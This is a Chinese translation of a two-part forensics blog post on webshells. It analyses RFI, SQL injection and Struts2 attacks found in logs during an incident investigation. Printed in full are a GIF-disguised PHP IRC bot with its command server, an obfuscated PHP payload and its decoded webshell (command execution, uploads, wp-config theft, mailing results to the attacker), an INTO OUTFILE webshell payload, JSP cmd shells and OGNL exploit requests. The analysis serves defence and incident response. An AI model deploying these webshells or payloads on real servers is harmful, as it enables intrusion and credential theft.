原文鏈接:
https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/
https://dfir.it/blog/2016/01/18/webshells-every-time-the-same-story-dot-dot-dot-part2/
眾所周知,每時每刻,世界上的web服務器都在遭到成千上萬次惡意請求的攻擊,攻擊形式也是各有不同。今天,我研究的就是其中的一類:webshell。
由于互聯網特性的影響,這種類型的攻擊活動真的越來越普遍。數百億的web服務器都有可能淪為攻擊者的攻擊對象。假如你是一名黑客并且明白web服務器對于企業的意義,我相信,你更不會放過這些服務器的。
經過多年的發展,互聯網有了翻天覆地的變化。web服務器的功能不再局限于簡單的呈現個人網站或商業網站。像JavaScript,PHP,Python和Ruby這樣的開發語言已經在商業應用,在線商城,網上娛樂,博客等應用方式中扮演了極為重要的角色。由于這些應用方式更多的會使用現成的解決方案,所以也導致了大量的漏洞。誰沒有聽說過Wordpress或phpBB漏洞利用呢?這類常用的web應用已經成為了攻擊者創建僵尸網絡或傳播木馬的主要目標。當出現新的0-day漏洞時,攻擊者就會利用這些漏洞,大規模的入侵受害者的機器。他們首先會做的是通過批量掃描來查找漏洞。有些攻擊者則會瞄準web服務器,因為web服務器可以說是進入一些內部基礎設施的大門。
我會通過三個例子來說明如何繞過安全措施,成功把webshell上傳到目標系統上-包括RFI(遠程文件包含漏洞)和SQL命令注入。
下面這個日志嘗試利用RFI漏洞來執行代碼。
#!bash
Path:
GET /B=1&From=remotelogi?n.php&L=hebrew&Last?Check=http://sxxxxxxo.no/byroe.jpg??
Source IP: 185.X.X.53
GEO: MADRID ES , Onestic_Innovacion_y_Desarrollo_SL , singularcomputer.es
許多黑客會通過在(惡意)URL中添加?
來發送RFI漏洞腳本和攻擊載荷,這樣做是為了避免開發者提供的字符串會造成問題。這種在URL中添加字符的做法與SQL注入很相似,只是SQL注入是在有效載荷的末尾添加注釋說明符(--, ;-- 或 #
)。
攻擊者會嘗試讓web應用從遠程服務器中加載一個JPG文件。但是,加載的真的是一個JPG圖像嗎?請仔細看:
#!bash
0000000: 4749 4638 3961 013f 013f 3f3f 3f3f 3f3f GIF89a.?.???????
0000010: 3f3f 3f21 3f04 013f 3f3f 3f2c 3f3f 3f3f ???!?..????,????
0000020: 013f 013f 3f44 013f 3b3f 3c3f 0d0a 0d0a .?.??D.?;?<?....
0000030: 7365 745f 7469 6d65 5f6c 696d 6974 2830 set_time_limit(0
0000040: 293b 200d 0a65 7272 6f72 5f72 6570 6f72 ); ..error_repor
0000050: 7469 6e67 2830 293b 200d 0a0d 0a63 6c61 ting(0); ....cla
從上面可以看出,這根本不是圖像文件-但是,這個文件中的確包含一個有效的GIF標頭。Trustwave寫了一篇博客詳細的說明了攻擊者可以通過哪些方式把惡意代碼隱藏到圖像文件中。接下來,我們先分析PHP代碼的開頭部分:
#!php
GIF89a^A?^A??????????!?^D^A????,????^A?^A??D^A?;?<?
set_time_limit(0);
error_reporting(0);
class pBot
{
var $config = array("server"=>"irc.malink.biz",
"port"=>"6667",
"pass"=>"on", //senha do server
"prefix"=>"MalinK-",
"maxrand"=>3,
"chan"=>"#maza",
"key"=>"on", //senha do canal
"modes"=>"+p",
"password"=>"on", //senha do bot
"trigger"=>".",
"hostauth"=>"Tukang.sapu " // * for any hostname
);
var $users = array();
function start()
{
...
pBot類定義了一個數組,在這個數組中包含有完整的配置信息。或許,你也注意到了server和port字段,這些字段提供了與CC相關的信息。在我們檢查irc.malink.biz之前,我想先調查malink.biz域名。通過Passivetotal服務,我們可以看到這個域名的歷史記錄和Whois信息。
域名信息和所有者數據顯示這個域名的主人來自美國?這樣的結果符合你對這個可疑域名的預期嗎?或許下面的信息能給我們答案...
nothingsecure…OK,這就看起來比較符合邏輯了。IRC提供的信息清楚地顯示了這個域名的意圖:
接下來,我們看看irc.malink.biz。
#!bash
irc.malink.biz. 14384 IN A 195.30.107.222
irc.malink.biz. 14384 IN A 109.74.203.175
irc.malink.biz. 14384 IN A 167.114.67.197
irc.malink.biz. 14384 IN A 167.114.68.120
他們非常關心故障轉移;
總的來說,位于巴黎的服務器接收到一條從馬德里發來的請求,這條請求要求訪問域名sxxxxxxo.no(哥倫布俄亥俄州),并從這個域名上下載一個內嵌了webshell的文件byroe.jpg。在這個文件中,我們發現了一個IRC服務器irc.malink.biz,這個服務器解析到了多個IP上-使用輪詢(round-robin)模式來加載剩余的DNS記錄(德國,英國,加拿大)。
看起來像什么?
Virustotal的AV檢測率還不錯。目前來說,分析的第一步,最好不要向VT上傳任何文件。首先從OSINT入手。比如,在上傳文件之前,首先檢查VT數據庫中有沒有這個文件的哈希。在分享惡意文件時(注意,VT數據庫是公開的)很可能就會引起攻擊者的注意,而攻擊者就有機會采取應對措施了。
攻擊者不僅僅會利用圖像文件來繞過WAF。
攻擊者可能會通過編碼和壓縮惡意代碼的方式來隱藏其意圖。這種方法可以繞過WAF的過濾器和簽名。
下面是另一起EFI攻擊:
#!bash
Path: GET /src=http%3A%2F%2Fim?g.youtube.com.vxxxxxxxd.org%2Fmyluph.php
Source IP: 93.X.X.206
CEO: AMSTERDAM NL , Digital_Residence_B.V. , curhosting.com
可疑文件的內容:
#!php
<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>
這是一個典型的經過混淆的PHP代碼。eval()函數會負責執行這個代碼,但是,在此之前,首先需要:
這里還有另外一種更復雜的版本。想一下,使用與前面相同的函數,但是使用多層混淆代碼。要想獲取到原始代碼,需要不斷地解碼,這樣的話,PHP解釋器就不好用了。為了避免你遇到這種情況,我建議你使用phpdecoder。
下面是去混淆后的代碼:
#!php
error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-pomo.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>bogel - exploit</title><br>";
echo "<font size=3 color=#FFF5EE>Ketika Sahabat Jadi Bangsat !<br>";
echo "<font size=3 color=#FFF5EE>Server : irc.blackunix.us 7000<br>";
echo "<font size=3 color=#FFF5EE>Status : sCanneR ON<br><br>";
echo "<font size=2 color=#FF0000><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#FF0000><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#FF0000><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#FF0000><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="eXcute"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#FF0000><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#FF0000><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['smtp'])){
$smtp = file_get_contents("../../wp-config.php");
echo $smtp;
}
else { echo "<pre><font size=3 color=#FFF5EE>".shell_exec('ls -la')."</font></pre>"; }
echo "<center><font size=4 color=#FFF5EE>Jayalah <font size=4 color=#FF0000>INDO<font size=4 color=white>NESIA <font size=4 color=#FFF5EE>Ku</center>";
?>
<link REL="SHORTCUT ICON" ></link><body bgcolor="#000000"></body>
第一部分代碼正在負責向setoran404@gmail.com發送與感染活動相關的確認郵件。隨后的這段代碼會負責在被感染系統上執行命令,并打印頁面上的輸出。下面是從網絡上找到的“生成”樣本:
你可以看到,攻擊者上傳了幾個“插件”,比如Mailer-1.php,Mailer-2.php,1337w0rm.php
我又看了看VirusTotal的AV檢測率:
這次不好,大部分AV引擎都無法識別出這個可疑文件。
仔細觀察下面的例子:
#!sql
UNION SELECT NULL,"<? system($_REQUEST['cmd']); ?>", NULL INTO OUTFILE "/var/www/webshell.php" --
首先,攻擊者需要一個SQL注入漏洞。接下來,專門設計一個請求來注入服務器上保存的PHP代碼。
解釋:
#!php
<? system($_REQUEST['cmd']); ?>
這是一個很簡單的webshell,其作用是執行web服務器上的命令。取決于不同的SQL注入漏洞,攻擊者需要把漏洞放置到合適的位置。在這個例子中,表中有三欄,代碼需要放在第二欄中,其他的都設置成NULL。
#!sql
INTO OUTFILE
這條SQL命令允許攻擊者把webshell代碼寫入任意文件中。
#!bash
"/var/www/webshell.php"
這是webshell的保存路徑。很重要的一點是,攻擊者需要在服務器上找到具有寫入權限的目錄,比如,臨時文件夾。除此之外,攻擊者還需要想辦法強制應用執行這個webshell腳本。在這個例子中,可以通過LFI來實現。下面的案例就包括了所有上述的依賴項。
在執行了SQL查詢后,webshell文件就會被創建。現在,攻擊者就可以與webshell交互了,通過簡單的發送一個HTTP GET請求并定義下面的URL:
#!bash
http://www.vulnerablesite.com/webshell.php?cmd=ls
服務器會返回/var/www
的目錄列表。
最后,看看VirusTotal怎么查找這個只有一行的wenshell。
很好的隱藏了;
如果你還想再了解一些知識,可以閱讀greensql上的文章,或看看Youtube上的視頻。
通過上面的三個例子,我們只是簡單了解了webshell相關的內容。要想在遠程服務器上執行任意代碼,并與OS交互,還有其他很多可以利用的方式。在下一部分中,我會通過一個例子來說明webshell對于企業基礎設施有多么大的危害,并介紹相關的防御方法。
我們已經說過,每時每刻,世界上大量的黑客正在試圖利用各種漏洞。攻擊者會通過不同的混淆方式或隱匿技術來投放有效載荷,并通過安裝webshell來搶占第一據點。不過,對于防御者而言,還有更大的難題,因為有些目的明確的攻擊者會執行網絡間諜活動,但是他們的行動更難發現,并且更有針對性。
下面的這個案例分析引發了我們對基礎安全控制,風險和各方責任的廣泛討論。你們當中有很多人可能都經歷過漏洞攻擊,系統篡改等問題。先把這些問題放到一邊,今天,我們討論的主題是-針對性攻擊中的webshell使用。
在調查過程中,最關鍵的一部分就是找到攻擊者的切入點。有一次,運維小組報告了一起影響了大量web服務器的事件,在這次攻擊中,我發現攻擊者綜合利用了自定義后門,rootkit和密碼轉儲工具(注意:沒有在本文中討論)。
通過分析多臺機器上遺留下來的木馬工具和感染活動發生的時間,我們找到了安裝了第一個木馬樣本的可疑服務器。唯一的問題是,這個人是怎么在內部web服務器上植入第一個惡意文件的呢?事實上,這個木馬是用一個應用服務器的服務賬戶執行的,壞消息是這個賬戶還有管理員權限。
我從來沒有為執法部門工作過,我也不知道當時有什么人能夠收集到必須的信息。或許,通過審訊手段能夠做到。無論如何,要想調查成功,你需要獲取大量的信息,以便對系統,基礎設施,商業過程有全面的了解。通過分析可用的數據,能夠證實信息的真實性。但是,當你知道服務器中存在著數十個商業應用,上千條代碼時,你又該從何入手呢?這時,你需要根據應用的功能,可用性和暴漏程度來考慮對各個應用的重視程度。
在討論應用的功能時,一名OPS成員使用了Magic word來觸發警報:
我們要分析一些應用日志嗎?
Tomcat應用服務器在作為windows服務安裝時,會把來自web應用的信息記錄到stdout.log。和大多數標準的輸出日志一樣,你可以從應用轉儲中看到大量的活動痕跡。但是,在研究了無數的Java信息后,下面這條引起了我的注意:
#!bash
org.apache.jasper.JasperException: 在處理 JSP頁面時出現了錯誤 /images/abc.jsp at line 5
2: <%
3: try {
4: String cmd = request.getParameter("cmd");
5: Process child = Runtime.getRuntime().exec(cmd);
在快速研究了這些錯誤后,我又發現了另外一些有趣的文件:
#!bash
org.apache.jasper.JasperException: 無法編譯JSP
JSP文件的第一行發生了一個錯誤: /images/test/bb.jsp
左邊必須是一個變量
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\".write(request.getParameter("t").getBytes());%>
如果第一個錯誤信息還不夠有說服力,后面的錯誤信息顯示有人在嘗試寫入一個文件,這個文件似乎是一個非常小,但是非常強大的webshell。這時候我們可以看看這個文件到底有什么用:
#!js
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
這個簡單的服務器端程序會通過cmd參數接收一條命令,嘗試在系統上執行這條命令,并返回命令輸出。如果你想要控制受害者的設備,你就離不開這個程序。
“讓我猜一猜”,我的一名朋友在處理數據和問題時經常會說這句話。我也經常這樣問我自己,但是,當時沒有人能回答這個問題。應用日志表明有人在中央存儲中投放了webshell,但是,我們還不清楚是怎樣做到的。不幸的是,遺留下來的日志并不完整,還有一些日志丟失了。幸運的是,我知道是哪個應用把webshell保存在了這個目錄中,所以我可以專注于特定的web應用流量。我們要不要分析一些web服務器日志呢?
在瀏覽整個日志時,下面的項目引起了我的注意。似乎這個應用被強制執行了系統命令來查看網絡配置:
#!bash
GET <AppURL>redirectAction:%25{
(new+java.io.BufferReader(new+java.io.InputStreamReader((new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ipconfig’}.start()).getInputStream())))).readline()}
在查找所有redirectAction實例的日志時,我們發現了另外的一些數據:
#!bash
ET <AppURL>redirectAction:%25
{(new+java.io.BufferedWriter(new+java.io.FileWriter(new+java.io.File(“1.jsp”)).append(req.getParameter(“e”)).close()}&e=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+"\\images\\test\\")).write(request.getParameter("t").getBytes());%>
這個日志顯示,正在嘗試將前面提到的webshell寫入共享應用文件夾中。通過谷歌搜索和測試,我們發現這個HTTP請求會嘗試利用一個已知的Struts 2 漏洞CVE-2013-2135。通過這起活動的時間戳再結合分析服務器上木馬工具的時間戳,我們找到了第一個入侵點。
一張圖能說明很多問題:
這個故事的寓意很簡單。那些思維縝密的攻擊者經常會在攻擊活動的不同階段來利用webshell這個武器,無論是剛開始入侵受害者的設備,還是要維持木馬的存在。更重要的是,防御者和事件響應人員并不是隨時都有分析數據。訪問日志可能已經被覆蓋了,但是每次攻擊都會在系統上遺留一些工具。應用日志中都會記錄下這些信息,而且人都會犯錯的。
Mandiant記錄了幾個月前利用Struts2漏洞實施的webshell攻擊活動。CrowdStrike分享了一篇關于HURRICANE PANDA 和 DEEP PANDA的文章,這兩次行動利用了China Chopper webshell。這些文章都很值得一讀。